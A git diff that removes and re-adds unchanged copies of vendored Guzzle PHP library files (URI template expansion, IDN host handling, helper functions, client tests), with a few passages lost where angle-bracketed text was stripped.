substr($expression, 1); - } else { - $result['operator'] = ''; - } - - foreach (explode(',', $expression) as $value) { - $value = trim($value); - $varspec = []; - if ($colonPos = strpos($value, ':')) { - $varspec['value'] = substr($value, 0, $colonPos); - $varspec['modifier'] = ':'; - $varspec['position'] = (int) substr($value, $colonPos + 1); - } elseif (substr($value, -1) === '*') { - $varspec['modifier'] = '*'; - $varspec['value'] = substr($value, 0, -1); - } else { - $varspec['value'] = (string) $value; - $varspec['modifier'] = ''; - } - $result['values'][] = $varspec; - } - - return $result; - } - - /** - * Process an expansion - * - * @param array $matches Matches met in the preg_replace_callback - * - * @return string Returns the replacement string - */ - private function expandMatch(array $matches) - { - static $rfc1738to3986 = ['+' => '%20', '%7e' => '~']; - - $replacements = []; - $parsed = self::parseExpression($matches[1]); - $prefix = self::$operatorHash[$parsed['operator']]['prefix']; - $joiner = self::$operatorHash[$parsed['operator']]['joiner']; - $useQuery = self::$operatorHash[$parsed['operator']]['query']; - - foreach ($parsed['values'] as $value) { - if (!isset($this->variables[$value['value']])) { - continue; - } - - $variable = $this->variables[$value['value']]; - $actuallyUseQuery = $useQuery; - $expanded = ''; - - if (is_array($variable)) { - $isAssoc = $this->isAssoc($variable); - $kvp = []; - foreach ($variable as $key => $var) { - if ($isAssoc) { - $key = rawurlencode($key); - $isNestedArray = is_array($var); - } else { - $isNestedArray = false; - } - - if (!$isNestedArray) { - $var = rawurlencode($var); - if ($parsed['operator'] === '+' || - $parsed['operator'] === '#' - ) { - $var = $this->decodeReserved($var); - } - } - - if ($value['modifier'] === '*') { - if ($isAssoc) { - if ($isNestedArray) { - // Nested arrays must allow for deeply nested - // structures. - $var = strtr( - http_build_query([$key => $var]), - $rfc1738to3986 - ); - } else { - $var = $key . '=' . $var; - } - } elseif ($key > 0 && $actuallyUseQuery) { - $var = $value['value'] . '=' . $var; - } - } - - $kvp[$key] = $var; - } - - if (empty($variable)) { - $actuallyUseQuery = false; - } elseif ($value['modifier'] === '*') { - $expanded = implode($joiner, $kvp); - if ($isAssoc) { - // Don't prepend the value name when using the explode - // modifier with an associative array. - $actuallyUseQuery = false; - } - } else { - if ($isAssoc) { - // When an associative array is encountered and the - // explode modifier is not set, then the result must be - // a comma separated list of keys followed by their - // respective values. - foreach ($kvp as $k => &$v) { - $v = $k . ',' . $v; - } - } - $expanded = implode(',', $kvp); - } - } else { - if ($value['modifier'] === ':') { - $variable = substr($variable, 0, $value['position']); - } - $expanded = rawurlencode($variable); - if ($parsed['operator'] === '+' || $parsed['operator'] === '#') { - $expanded = $this->decodeReserved($expanded); - } - } - - if ($actuallyUseQuery) { - if (!$expanded && $joiner !== '&') { - $expanded = $value['value']; - } else { - $expanded = $value['value'] . '=' . $expanded; - } - } - - $replacements[] = $expanded; - } - - $ret = implode($joiner, $replacements); - if ($ret && $prefix) { - return $prefix . $ret; - } - - return $ret; - } - - /** - * Determines if an array is associative. - * - * This makes the assumption that input arrays are sequences or hashes. - * This assumption is a tradeoff for accuracy in favor of speed, but it - * should work in almost every case where input is supplied for a URI - * template. - * - * @param array $array Array to check - * - * @return bool - */ - private function isAssoc(array $array) - { - return $array && array_keys($array)[0] !== 0; - } - - /** - * Removes percent encoding on reserved characters (used with + and # - * modifiers). - * - * @param string $string String to fix - * - * @return string - */ - private function decodeReserved($string) - { - return str_replace(self::$delimsPct, self::$delims, $string); - } -} + ['prefix' => '', 'joiner' => ',', 'query' => false], + '+' => ['prefix' => '', 'joiner' => ',', 'query' => false], + '#' => ['prefix' => '#', 'joiner' => ',', 'query' => false], + '.' => ['prefix' => '.', 'joiner' => '.', 'query' => false], + '/' => ['prefix' => '/', 'joiner' => '/', 'query' => false], + ';' => ['prefix' => ';', 'joiner' => ';', 'query' => true], + '?' => ['prefix' => '?', 'joiner' => '&', 'query' => true], + '&' => ['prefix' => '&', 'joiner' => '&', 'query' => true] + ]; + + /** @var array Delimiters */ + private static $delims = [':', '/', '?', '#', '[', ']', '@', '!', '$', + '&', '\'', '(', ')', '*', '+', ',', ';', '=']; + + /** @var array Percent encoded delimiters */ + private static $delimsPct = ['%3A', '%2F', '%3F', '%23', '%5B', '%5D', + '%40', '%21', '%24', '%26', '%27', '%28', '%29', '%2A', '%2B', '%2C', + '%3B', '%3D']; + + public function expand($template, array $variables) + { + if (false === strpos($template, '{')) { + return $template; + } + + $this->template = $template; + $this->variables = $variables; + + return preg_replace_callback( + '/\{([^\}]+)\}/', + [$this, 'expandMatch'], + $this->template + ); + } + + /** + * Parse an expression into parts + * + * @param string $expression Expression to parse + * + * @return array Returns an associative array of parts + */ + private function parseExpression($expression) + { + $result = []; + + if (isset(self::$operatorHash[$expression[0]])) { + $result['operator'] = $expression[0]; + $expression = substr($expression, 1); + } else { + $result['operator'] = ''; + } + + foreach (explode(',', $expression) as $value) { + $value = trim($value); + $varspec = []; + if ($colonPos = strpos($value, ':')) { + $varspec['value'] = substr($value, 0, $colonPos); + $varspec['modifier'] = ':'; + $varspec['position'] = (int) substr($value, $colonPos + 1); + } elseif (substr($value, -1) === '*') { + $varspec['modifier'] = '*'; + $varspec['value'] = substr($value, 0, -1); + } else { + $varspec['value'] = (string) $value; + $varspec['modifier'] = ''; + } + $result['values'][] = $varspec; + } + + return $result; + } + + /** + * Process an expansion + * + * @param array $matches Matches met in the preg_replace_callback + * + * @return string Returns the replacement string + */ + private function expandMatch(array $matches) + { + static $rfc1738to3986 = ['+' => '%20', '%7e' => '~']; + + $replacements = []; + $parsed = self::parseExpression($matches[1]); + $prefix = self::$operatorHash[$parsed['operator']]['prefix']; + $joiner = self::$operatorHash[$parsed['operator']]['joiner']; + $useQuery = self::$operatorHash[$parsed['operator']]['query']; + + foreach ($parsed['values'] as $value) { + if (!isset($this->variables[$value['value']])) { + continue; + } + + $variable = $this->variables[$value['value']]; + $actuallyUseQuery = $useQuery; + $expanded = ''; + + if (is_array($variable)) { + $isAssoc = $this->isAssoc($variable); + $kvp = []; + foreach ($variable as $key => $var) { + if ($isAssoc) { + $key = rawurlencode($key); + $isNestedArray = is_array($var); + } else { + $isNestedArray = false; + } + + if (!$isNestedArray) { + $var = rawurlencode($var); + if ($parsed['operator'] === '+' || + $parsed['operator'] === '#' + ) { + $var = $this->decodeReserved($var); + } + } + + if ($value['modifier'] === '*') { + if ($isAssoc) { + if ($isNestedArray) { + // Nested arrays must allow for deeply nested + // structures. + $var = strtr( + http_build_query([$key => $var]), + $rfc1738to3986 + ); + } else { + $var = $key . '=' . $var; + } + } elseif ($key > 0 && $actuallyUseQuery) { + $var = $value['value'] . '=' . $var; + } + } + + $kvp[$key] = $var; + } + + if (empty($variable)) { + $actuallyUseQuery = false; + } elseif ($value['modifier'] === '*') { + $expanded = implode($joiner, $kvp); + if ($isAssoc) { + // Don't prepend the value name when using the explode + // modifier with an associative array. + $actuallyUseQuery = false; + } + } else { + if ($isAssoc) { + // When an associative array is encountered and the + // explode modifier is not set, then the result must be + // a comma separated list of keys followed by their + // respective values. + foreach ($kvp as $k => &$v) { + $v = $k . ',' . $v; + } + } + $expanded = implode(',', $kvp); + } + } else { + if ($value['modifier'] === ':') { + $variable = substr($variable, 0, $value['position']); + } + $expanded = rawurlencode($variable); + if ($parsed['operator'] === '+' || $parsed['operator'] === '#') { + $expanded = $this->decodeReserved($expanded); + } + } + + if ($actuallyUseQuery) { + if (!$expanded && $joiner !== '&') { + $expanded = $value['value']; + } else { + $expanded = $value['value'] . '=' . $expanded; + } + } + + $replacements[] = $expanded; + } + + $ret = implode($joiner, $replacements); + if ($ret && $prefix) { + return $prefix . $ret; + } + + return $ret; + } + + /** + * Determines if an array is associative. + * + * This makes the assumption that input arrays are sequences or hashes. + * This assumption is a tradeoff for accuracy in favor of speed, but it + * should work in almost every case where input is supplied for a URI + * template. + * + * @param array $array Array to check + * + * @return bool + */ + private function isAssoc(array $array) + { + return $array && array_keys($array)[0] !== 0; + } + + /** + * Removes percent encoding on reserved characters (used with + and # + * modifiers). + * + * @param string $string String to fix + * + * @return string + */ + private function decodeReserved($string) + { + return str_replace(self::$delimsPct, self::$delims, $string); + } +} diff --git a/vendor/guzzlehttp/guzzle/src/Utils.php b/vendor/guzzlehttp/guzzle/src/Utils.php index 238162eb8a..c698acbf02 100644 --- a/vendor/guzzlehttp/guzzle/src/Utils.php +++ b/vendor/guzzlehttp/guzzle/src/Utils.php @@ -1,92 +1,92 @@ -getHost()) { - $asciiHost = self::idnToAsci($uri->getHost(), $options, $info); - if ($asciiHost === false) { - $errorBitSet = isset($info['errors']) ? $info['errors'] : 0; - - $errorConstants = array_filter(array_keys(get_defined_constants()), function ($name) { - return substr($name, 0, 11) === 'IDNA_ERROR_'; - }); - - $errors = []; - foreach ($errorConstants as $errorConstant) { - if ($errorBitSet & constant($errorConstant)) { - $errors[] = $errorConstant; - } - } - - $errorMessage = 'IDN conversion failed'; - if ($errors) { - $errorMessage .= ' (errors: ' . implode(', ', $errors) . ')'; - } - - throw new InvalidArgumentException($errorMessage); - } else { - if ($uri->getHost() !== $asciiHost) { - // Replace URI only if the ASCII version is different - $uri = $uri->withHost($asciiHost); - } - } - } - - return $uri; - } - - /** - * @param string $domain - * @param int $options - * @param array $info - * - * @return string|false - */ - private static function idnToAsci($domain, $options, &$info = []) - { - if (\preg_match('%^[ -~]+$%', $domain) === 1) { - return $domain; - } - - if (\extension_loaded('intl') && defined('INTL_IDNA_VARIANT_UTS46')) { - return \idn_to_ascii($domain, $options, INTL_IDNA_VARIANT_UTS46, $info); - } - - /* - * The Idn class is marked as @internal. Verify that class and method exists. - */ - if (method_exists(Idn::class, 'idn_to_ascii')) { - return Idn::idn_to_ascii($domain, $options, Idn::INTL_IDNA_VARIANT_UTS46, $info); - } - - throw new \RuntimeException('ext-intl or symfony/polyfill-intl-idn not loaded or too old'); - } -} +getHost()) { + $asciiHost = self::idnToAsci($uri->getHost(), $options, $info); + if ($asciiHost === false) { + $errorBitSet = isset($info['errors']) ? $info['errors'] : 0; + + $errorConstants = array_filter(array_keys(get_defined_constants()), function ($name) { + return substr($name, 0, 11) === 'IDNA_ERROR_'; + }); + + $errors = []; + foreach ($errorConstants as $errorConstant) { + if ($errorBitSet & constant($errorConstant)) { + $errors[] = $errorConstant; + } + } + + $errorMessage = 'IDN conversion failed'; + if ($errors) { + $errorMessage .= ' (errors: ' . implode(', ', $errors) . ')'; + } + + throw new InvalidArgumentException($errorMessage); + } else { + if ($uri->getHost() !== $asciiHost) { + // Replace URI only if the ASCII version is different + $uri = $uri->withHost($asciiHost); + } + } + } + + return $uri; + } + + /** + * @param string $domain + * @param int $options + * @param array $info + * + * @return string|false + */ + private static function idnToAsci($domain, $options, &$info = []) + { + if (\preg_match('%^[ -~]+$%', $domain) === 1) { + return $domain; + } + + if (\extension_loaded('intl') && defined('INTL_IDNA_VARIANT_UTS46')) { + return \idn_to_ascii($domain, $options, INTL_IDNA_VARIANT_UTS46, $info); + } + + /* + * The Idn class is marked as @internal. Verify that class and method exists. + */ + if (method_exists(Idn::class, 'idn_to_ascii')) { + return Idn::idn_to_ascii($domain, $options, Idn::INTL_IDNA_VARIANT_UTS46, $info); + } + + throw new \RuntimeException('ext-intl or symfony/polyfill-intl-idn not loaded or too old'); + } +} diff --git a/vendor/guzzlehttp/guzzle/src/functions.php b/vendor/guzzlehttp/guzzle/src/functions.php index 0f09e3a38e..c2afd8c7bb 100644 --- a/vendor/guzzlehttp/guzzle/src/functions.php +++ b/vendor/guzzlehttp/guzzle/src/functions.php @@ -1,334 +1,334 @@ -expand($template, $variables); -} - -/** - * Debug function used to describe the provided value type and class. - * - * @param mixed $input - * - * @return string Returns a string containing the type of the variable and - * if a class is provided, the class name. - */ -function describe_type($input) -{ - switch (gettype($input)) { - case 'object': - return 'object(' . get_class($input) . ')'; - case 'array': - return 'array(' . count($input) . ')'; - default: - ob_start(); - var_dump($input); - // normalize float vs double - return str_replace('double(', 'float(', rtrim(ob_get_clean())); - } -} - -/** - * Parses an array of header lines into an associative array of headers. - * - * @param iterable $lines Header lines array of strings in the following - * format: "Name: Value" - * @return array - */ -function headers_from_lines($lines) -{ - $headers = []; - - foreach ($lines as $line) { - $parts = explode(':', $line, 2); - $headers[trim($parts[0])][] = isset($parts[1]) - ? trim($parts[1]) - : null; - } - - return $headers; -} - -/** - * Returns a debug stream based on the provided variable. - * - * @param mixed $value Optional value - * - * @return resource - */ -function debug_resource($value = null) -{ - if (is_resource($value)) { - return $value; - } elseif (defined('STDOUT')) { - return STDOUT; - } - - return fopen('php://output', 'w'); -} - -/** - * Chooses and creates a default handler to use based on the environment. - * - * The returned handler is not wrapped by any default middlewares. - * - * @return callable Returns the best handler for the given system. - * @throws \RuntimeException if no viable Handler is available. - */ -function choose_handler() -{ - $handler = null; - if (function_exists('curl_multi_exec') && function_exists('curl_exec')) { - $handler = Proxy::wrapSync(new CurlMultiHandler(), new CurlHandler()); - } elseif (function_exists('curl_exec')) { - $handler = new CurlHandler(); - } elseif (function_exists('curl_multi_exec')) { - $handler = new CurlMultiHandler(); - } - - if (ini_get('allow_url_fopen')) { - $handler = $handler - ? Proxy::wrapStreaming($handler, new StreamHandler()) - : new StreamHandler(); - } elseif (!$handler) { - throw new \RuntimeException('GuzzleHttp requires cURL, the ' - . 'allow_url_fopen ini setting, or a custom HTTP handler.'); - } - - return $handler; -} - -/** - * Get the default User-Agent string to use with Guzzle - * - * @return string - */ -function default_user_agent() -{ - static $defaultAgent = ''; - - if (!$defaultAgent) { - $defaultAgent = 'GuzzleHttp/' . Client::VERSION; - if (extension_loaded('curl') && function_exists('curl_version')) { - $defaultAgent .= ' curl/' . \curl_version()['version']; - } - $defaultAgent .= ' PHP/' . PHP_VERSION; - } - - return $defaultAgent; -} - -/** - * Returns the default cacert bundle for the current system. - * - * First, the openssl.cafile and curl.cainfo php.ini settings are checked. - * If those settings are not configured, then the common locations for - * bundles found on Red Hat, CentOS, Fedora, Ubuntu, Debian, FreeBSD, OS X - * and Windows are checked. If any of these file locations are found on - * disk, they will be utilized. - * - * Note: the result of this function is cached for subsequent calls. - * - * @return string - * @throws \RuntimeException if no bundle can be found. - */ -function default_ca_bundle() -{ - static $cached = null; - static $cafiles = [ - // Red Hat, CentOS, Fedora (provided by the ca-certificates package) - '/etc/pki/tls/certs/ca-bundle.crt', - // Ubuntu, Debian (provided by the ca-certificates package) - '/etc/ssl/certs/ca-certificates.crt', - // FreeBSD (provided by the ca_root_nss package) - '/usr/local/share/certs/ca-root-nss.crt', - // SLES 12 (provided by the ca-certificates package) - '/var/lib/ca-certificates/ca-bundle.pem', - // OS X provided by homebrew (using the default path) - '/usr/local/etc/openssl/cert.pem', - // Google app engine - '/etc/ca-certificates.crt', - // Windows? - 'C:\\windows\\system32\\curl-ca-bundle.crt', - 'C:\\windows\\curl-ca-bundle.crt', - ]; - - if ($cached) { - return $cached; - } - - if ($ca = ini_get('openssl.cafile')) { - return $cached = $ca; - } - - if ($ca = ini_get('curl.cainfo')) { - return $cached = $ca; - } - - foreach ($cafiles as $filename) { - if (file_exists($filename)) { - return $cached = $filename; - } - } - - throw new \RuntimeException( - <<< EOT -No system CA bundle could be found in any of the the common system locations. -PHP versions earlier than 5.6 are not properly configured to use the system's -CA bundle by default. In order to verify peer certificates, you will need to -supply the path on disk to a certificate bundle to the 'verify' request -option: http://docs.guzzlephp.org/en/latest/clients.html#verify. If you do not -need a specific certificate bundle, then Mozilla provides a commonly used CA -bundle which can be downloaded here (provided by the maintainer of cURL): -https://raw.githubusercontent.com/bagder/ca-bundle/master/ca-bundle.crt. Once -you have a CA bundle available on disk, you can set the 'openssl.cafile' PHP -ini setting to point to the path to the file, allowing you to omit the 'verify' -request option. See http://curl.haxx.se/docs/sslcerts.html for more -information. -EOT - ); -} - -/** - * Creates an associative array of lowercase header names to the actual - * header casing. - * - * @param array $headers - * - * @return array - */ -function normalize_header_keys(array $headers) -{ - $result = []; - foreach (array_keys($headers) as $key) { - $result[strtolower($key)] = $key; - } - - return $result; -} - -/** - * Returns true if the provided host matches any of the no proxy areas. - * - * This method will strip a port from the host if it is present. Each pattern - * can be matched with an exact match (e.g., "foo.com" == "foo.com") or a - * partial match: (e.g., "foo.com" == "baz.foo.com" and ".foo.com" == - * "baz.foo.com", but ".foo.com" != "foo.com"). - * - * Areas are matched in the following cases: - * 1. "*" (without quotes) always matches any hosts. - * 2. An exact match. - * 3. The area starts with "." and the area is the last part of the host. e.g. - * '.mit.edu' will match any host that ends with '.mit.edu'. - * - * @param string $host Host to check against the patterns. - * @param array $noProxyArray An array of host patterns. - * - * @return bool - */ -function is_host_in_noproxy($host, array $noProxyArray) -{ - if (strlen($host) === 0) { - throw new \InvalidArgumentException('Empty host provided'); - } - - // Strip port if present. - if (strpos($host, ':')) { - $host = explode($host, ':', 2)[0]; - } - - foreach ($noProxyArray as $area) { - // Always match on wildcards. - if ($area === '*') { - return true; - } elseif (empty($area)) { - // Don't match on empty values. - continue; - } elseif ($area === $host) { - // Exact matches. - return true; - } else { - // Special match if the area when prefixed with ".". Remove any - // existing leading "." and add a new leading ".". - $area = '.' . ltrim($area, '.'); - if (substr($host, -(strlen($area))) === $area) { - return true; - } - } - } - - return false; -} - -/** - * Wrapper for json_decode that throws when an error occurs. - * - * @param string $json JSON data to parse - * @param bool $assoc When true, returned objects will be converted - * into associative arrays. - * @param int $depth User specified recursion depth. - * @param int $options Bitmask of JSON decode options. - * - * @return mixed - * @throws Exception\InvalidArgumentException if the JSON cannot be decoded. - * @link http://www.php.net/manual/en/function.json-decode.php - */ -function json_decode($json, $assoc = false, $depth = 512, $options = 0) -{ - $data = \json_decode($json, $assoc, $depth, $options); - if (JSON_ERROR_NONE !== json_last_error()) { - throw new Exception\InvalidArgumentException( - 'json_decode error: ' . json_last_error_msg() - ); - } - - return $data; -} - -/** - * Wrapper for JSON encoding that throws when an error occurs. - * - * @param mixed $value The value being encoded - * @param int $options JSON encode option bitmask - * @param int $depth Set the maximum depth. Must be greater than zero. - * - * @return string - * @throws Exception\InvalidArgumentException if the JSON cannot be encoded. - * @link http://www.php.net/manual/en/function.json-encode.php - */ -function json_encode($value, $options = 0, $depth = 512) -{ - $json = \json_encode($value, $options, $depth); - if (JSON_ERROR_NONE !== json_last_error()) { - throw new Exception\InvalidArgumentException( - 'json_encode error: ' . json_last_error_msg() - ); - } - - return $json; -} +expand($template, $variables); +} + +/** + * Debug function used to describe the provided value type and class. + * + * @param mixed $input + * + * @return string Returns a string containing the type of the variable and + * if a class is provided, the class name. + */ +function describe_type($input) +{ + switch (gettype($input)) { + case 'object': + return 'object(' . get_class($input) . ')'; + case 'array': + return 'array(' . count($input) . ')'; + default: + ob_start(); + var_dump($input); + // normalize float vs double + return str_replace('double(', 'float(', rtrim(ob_get_clean())); + } +} + +/** + * Parses an array of header lines into an associative array of headers. + * + * @param iterable $lines Header lines array of strings in the following + * format: "Name: Value" + * @return array + */ +function headers_from_lines($lines) +{ + $headers = []; + + foreach ($lines as $line) { + $parts = explode(':', $line, 2); + $headers[trim($parts[0])][] = isset($parts[1]) + ? trim($parts[1]) + : null; + } + + return $headers; +} + +/** + * Returns a debug stream based on the provided variable. + * + * @param mixed $value Optional value + * + * @return resource + */ +function debug_resource($value = null) +{ + if (is_resource($value)) { + return $value; + } elseif (defined('STDOUT')) { + return STDOUT; + } + + return fopen('php://output', 'w'); +} + +/** + * Chooses and creates a default handler to use based on the environment. + * + * The returned handler is not wrapped by any default middlewares. + * + * @return callable Returns the best handler for the given system. + * @throws \RuntimeException if no viable Handler is available. + */ +function choose_handler() +{ + $handler = null; + if (function_exists('curl_multi_exec') && function_exists('curl_exec')) { + $handler = Proxy::wrapSync(new CurlMultiHandler(), new CurlHandler()); + } elseif (function_exists('curl_exec')) { + $handler = new CurlHandler(); + } elseif (function_exists('curl_multi_exec')) { + $handler = new CurlMultiHandler(); + } + + if (ini_get('allow_url_fopen')) { + $handler = $handler + ? Proxy::wrapStreaming($handler, new StreamHandler()) + : new StreamHandler(); + } elseif (!$handler) { + throw new \RuntimeException('GuzzleHttp requires cURL, the ' + . 'allow_url_fopen ini setting, or a custom HTTP handler.'); + } + + return $handler; +} + +/** + * Get the default User-Agent string to use with Guzzle + * + * @return string + */ +function default_user_agent() +{ + static $defaultAgent = ''; + + if (!$defaultAgent) { + $defaultAgent = 'GuzzleHttp/' . Client::VERSION; + if (extension_loaded('curl') && function_exists('curl_version')) { + $defaultAgent .= ' curl/' . \curl_version()['version']; + } + $defaultAgent .= ' PHP/' . PHP_VERSION; + } + + return $defaultAgent; +} + +/** + * Returns the default cacert bundle for the current system. + * + * First, the openssl.cafile and curl.cainfo php.ini settings are checked. + * If those settings are not configured, then the common locations for + * bundles found on Red Hat, CentOS, Fedora, Ubuntu, Debian, FreeBSD, OS X + * and Windows are checked. If any of these file locations are found on + * disk, they will be utilized. + * + * Note: the result of this function is cached for subsequent calls. + * + * @return string + * @throws \RuntimeException if no bundle can be found. + */ +function default_ca_bundle() +{ + static $cached = null; + static $cafiles = [ + // Red Hat, CentOS, Fedora (provided by the ca-certificates package) + '/etc/pki/tls/certs/ca-bundle.crt', + // Ubuntu, Debian (provided by the ca-certificates package) + '/etc/ssl/certs/ca-certificates.crt', + // FreeBSD (provided by the ca_root_nss package) + '/usr/local/share/certs/ca-root-nss.crt', + // SLES 12 (provided by the ca-certificates package) + '/var/lib/ca-certificates/ca-bundle.pem', + // OS X provided by homebrew (using the default path) + '/usr/local/etc/openssl/cert.pem', + // Google app engine + '/etc/ca-certificates.crt', + // Windows? + 'C:\\windows\\system32\\curl-ca-bundle.crt', + 'C:\\windows\\curl-ca-bundle.crt', + ]; + + if ($cached) { + return $cached; + } + + if ($ca = ini_get('openssl.cafile')) { + return $cached = $ca; + } + + if ($ca = ini_get('curl.cainfo')) { + return $cached = $ca; + } + + foreach ($cafiles as $filename) { + if (file_exists($filename)) { + return $cached = $filename; + } + } + + throw new \RuntimeException( + <<< EOT +No system CA bundle could be found in any of the the common system locations. +PHP versions earlier than 5.6 are not properly configured to use the system's +CA bundle by default. In order to verify peer certificates, you will need to +supply the path on disk to a certificate bundle to the 'verify' request +option: http://docs.guzzlephp.org/en/latest/clients.html#verify. If you do not +need a specific certificate bundle, then Mozilla provides a commonly used CA +bundle which can be downloaded here (provided by the maintainer of cURL): +https://raw.githubusercontent.com/bagder/ca-bundle/master/ca-bundle.crt. Once +you have a CA bundle available on disk, you can set the 'openssl.cafile' PHP +ini setting to point to the path to the file, allowing you to omit the 'verify' +request option. See http://curl.haxx.se/docs/sslcerts.html for more +information. +EOT + ); +} + +/** + * Creates an associative array of lowercase header names to the actual + * header casing. + * + * @param array $headers + * + * @return array + */ +function normalize_header_keys(array $headers) +{ + $result = []; + foreach (array_keys($headers) as $key) { + $result[strtolower($key)] = $key; + } + + return $result; +} + +/** + * Returns true if the provided host matches any of the no proxy areas. + * + * This method will strip a port from the host if it is present. Each pattern + * can be matched with an exact match (e.g., "foo.com" == "foo.com") or a + * partial match: (e.g., "foo.com" == "baz.foo.com" and ".foo.com" == + * "baz.foo.com", but ".foo.com" != "foo.com"). + * + * Areas are matched in the following cases: + * 1. "*" (without quotes) always matches any hosts. + * 2. An exact match. + * 3. The area starts with "." and the area is the last part of the host. e.g. + * '.mit.edu' will match any host that ends with '.mit.edu'. + * + * @param string $host Host to check against the patterns. + * @param array $noProxyArray An array of host patterns. + * + * @return bool + */ +function is_host_in_noproxy($host, array $noProxyArray) +{ + if (strlen($host) === 0) { + throw new \InvalidArgumentException('Empty host provided'); + } + + // Strip port if present. + if (strpos($host, ':')) { + $host = explode($host, ':', 2)[0]; + } + + foreach ($noProxyArray as $area) { + // Always match on wildcards. + if ($area === '*') { + return true; + } elseif (empty($area)) { + // Don't match on empty values. + continue; + } elseif ($area === $host) { + // Exact matches. + return true; + } else { + // Special match if the area when prefixed with ".". Remove any + // existing leading "." and add a new leading ".". + $area = '.' . ltrim($area, '.'); + if (substr($host, -(strlen($area))) === $area) { + return true; + } + } + } + + return false; +} + +/** + * Wrapper for json_decode that throws when an error occurs. + * + * @param string $json JSON data to parse + * @param bool $assoc When true, returned objects will be converted + * into associative arrays. + * @param int $depth User specified recursion depth. + * @param int $options Bitmask of JSON decode options. + * + * @return mixed + * @throws Exception\InvalidArgumentException if the JSON cannot be decoded. + * @link http://www.php.net/manual/en/function.json-decode.php + */ +function json_decode($json, $assoc = false, $depth = 512, $options = 0) +{ + $data = \json_decode($json, $assoc, $depth, $options); + if (JSON_ERROR_NONE !== json_last_error()) { + throw new Exception\InvalidArgumentException( + 'json_decode error: ' . json_last_error_msg() + ); + } + + return $data; +} + +/** + * Wrapper for JSON encoding that throws when an error occurs. + * + * @param mixed $value The value being encoded + * @param int $options JSON encode option bitmask + * @param int $depth Set the maximum depth. Must be greater than zero. + * + * @return string + * @throws Exception\InvalidArgumentException if the JSON cannot be encoded. + * @link http://www.php.net/manual/en/function.json-encode.php + */ +function json_encode($value, $options = 0, $depth = 512) +{ + $json = \json_encode($value, $options, $depth); + if (JSON_ERROR_NONE !== json_last_error()) { + throw new Exception\InvalidArgumentException( + 'json_encode error: ' . json_last_error_msg() + ); + } + + return $json; +} diff --git a/vendor/guzzlehttp/guzzle/src/functions_include.php b/vendor/guzzlehttp/guzzle/src/functions_include.php index fda82f12fb..a93393acc4 100644 --- a/vendor/guzzlehttp/guzzle/src/functions_include.php +++ b/vendor/guzzlehttp/guzzle/src/functions_include.php @@ -1,6 +1,6 @@ - 0])]); - $response = $client->get(Server::$url); - self::assertSame(200, $response->getStatusCode()); - } - - /** - * @expectedException \InvalidArgumentException - * @expectedExceptionMessage Magic request methods require a URI and optional options array - */ - public function testValidatesArgsForMagicMethods() - { - $client = new Client(); - $client->get(); - } - - public function testCanSendMagicAsyncRequests() - { - $client = new Client(); - Server::flush(); - Server::enqueue([new Response(200, ['Content-Length' => 2], 'hi')]); - $p = $client->getAsync(Server::$url, ['query' => ['test' => 'foo']]); - self::assertInstanceOf(PromiseInterface::class, $p); - self::assertSame(200, $p->wait()->getStatusCode()); - $received = Server::received(true); - self::assertCount(1, $received); - self::assertSame('test=foo', $received[0]->getUri()->getQuery()); - } - - public function testCanSendSynchronously() - { - $client = new Client(['handler' => new MockHandler([new Response()])]); - $request = new Request('GET', 'http://example.com'); - $r = $client->send($request); - self::assertInstanceOf(ResponseInterface::class, $r); - self::assertSame(200, $r->getStatusCode()); - } - - public function testClientHasOptions() - { - $client = new Client([ - 'base_uri' => 'http://foo.com', - 'timeout' => 2, - 'headers' => ['bar' => 'baz'], - 'handler' => new MockHandler() - ]); - $base = $client->getConfig('base_uri'); - self::assertSame('http://foo.com', (string) $base); - self::assertInstanceOf(Uri::class, $base); - self::assertNotNull($client->getConfig('handler')); - self::assertSame(2, $client->getConfig('timeout')); - self::assertArrayHasKey('timeout', $client->getConfig()); - self::assertArrayHasKey('headers', $client->getConfig()); - } - - public function testCanMergeOnBaseUri() - { - $mock = new MockHandler([new Response()]); - $client = new Client([ - 'base_uri' => 'http://foo.com/bar/', - 'handler' => $mock - ]); - $client->get('baz'); - self::assertSame( - 'http://foo.com/bar/baz', - (string)$mock->getLastRequest()->getUri() - ); - } - - public function testCanMergeOnBaseUriWithRequest() - { - $mock = new MockHandler([new Response(), new Response()]); - $client = new Client([ - 'handler' => $mock, - 'base_uri' => 'http://foo.com/bar/' - ]); - $client->request('GET', new Uri('baz')); - self::assertSame( - 'http://foo.com/bar/baz', - (string) $mock->getLastRequest()->getUri() - ); - - $client->request('GET', new Uri('baz'), ['base_uri' => 'http://example.com/foo/']); - self::assertSame( - 'http://example.com/foo/baz', - (string) $mock->getLastRequest()->getUri(), - 'Can overwrite the base_uri through the request options' - ); - } - - public function testCanUseRelativeUriWithSend() - { - $mock = new MockHandler([new Response()]); - $client = new Client([ - 'handler' => $mock, - 'base_uri' => 'http://bar.com' - ]); - self::assertSame('http://bar.com', (string) $client->getConfig('base_uri')); - $request = new Request('GET', '/baz'); - $client->send($request); - self::assertSame( - 'http://bar.com/baz', - (string) $mock->getLastRequest()->getUri() - ); - } - - public function testMergesDefaultOptionsAndDoesNotOverwriteUa() - { - $c = new Client(['headers' => ['User-agent' => 'foo']]); - self::assertSame(['User-agent' => 'foo'], $c->getConfig('headers')); - self::assertInternalType('array', $c->getConfig('allow_redirects')); - self::assertTrue($c->getConfig('http_errors')); - self::assertTrue($c->getConfig('decode_content')); - self::assertTrue($c->getConfig('verify')); - } - - public function testDoesNotOverwriteHeaderWithDefault() - { - $mock = new MockHandler([new Response()]); - $c = new Client([ - 'headers' => ['User-agent' => 'foo'], - 'handler' => $mock - ]); - $c->get('http://example.com', ['headers' => ['User-Agent' => 'bar']]); - self::assertSame('bar', $mock->getLastRequest()->getHeaderLine('User-Agent')); - } - - public function testDoesNotOverwriteHeaderWithDefaultInRequest() - { - $mock = new MockHandler([new Response()]); - $c = new Client([ - 'headers' => ['User-agent' => 'foo'], - 'handler' => $mock - ]); - $request = new Request('GET', Server::$url, ['User-Agent' => 'bar']); - $c->send($request); - self::assertSame('bar', $mock->getLastRequest()->getHeaderLine('User-Agent')); - } - - public function testDoesOverwriteHeaderWithSetRequestOption() - { - $mock = new MockHandler([new Response()]); - $c = new Client([ - 'headers' => ['User-agent' => 'foo'], - 'handler' => $mock - ]); - $request = new Request('GET', Server::$url, ['User-Agent' => 'bar']); - $c->send($request, ['headers' => ['User-Agent' => 'YO']]); - self::assertSame('YO', $mock->getLastRequest()->getHeaderLine('User-Agent')); - } - - public function testCanUnsetRequestOptionWithNull() - { - $mock = new MockHandler([new Response()]); - $c = new Client([ - 'headers' => ['foo' => 'bar'], - 'handler' => $mock - ]); - $c->get('http://example.com', ['headers' => null]); - 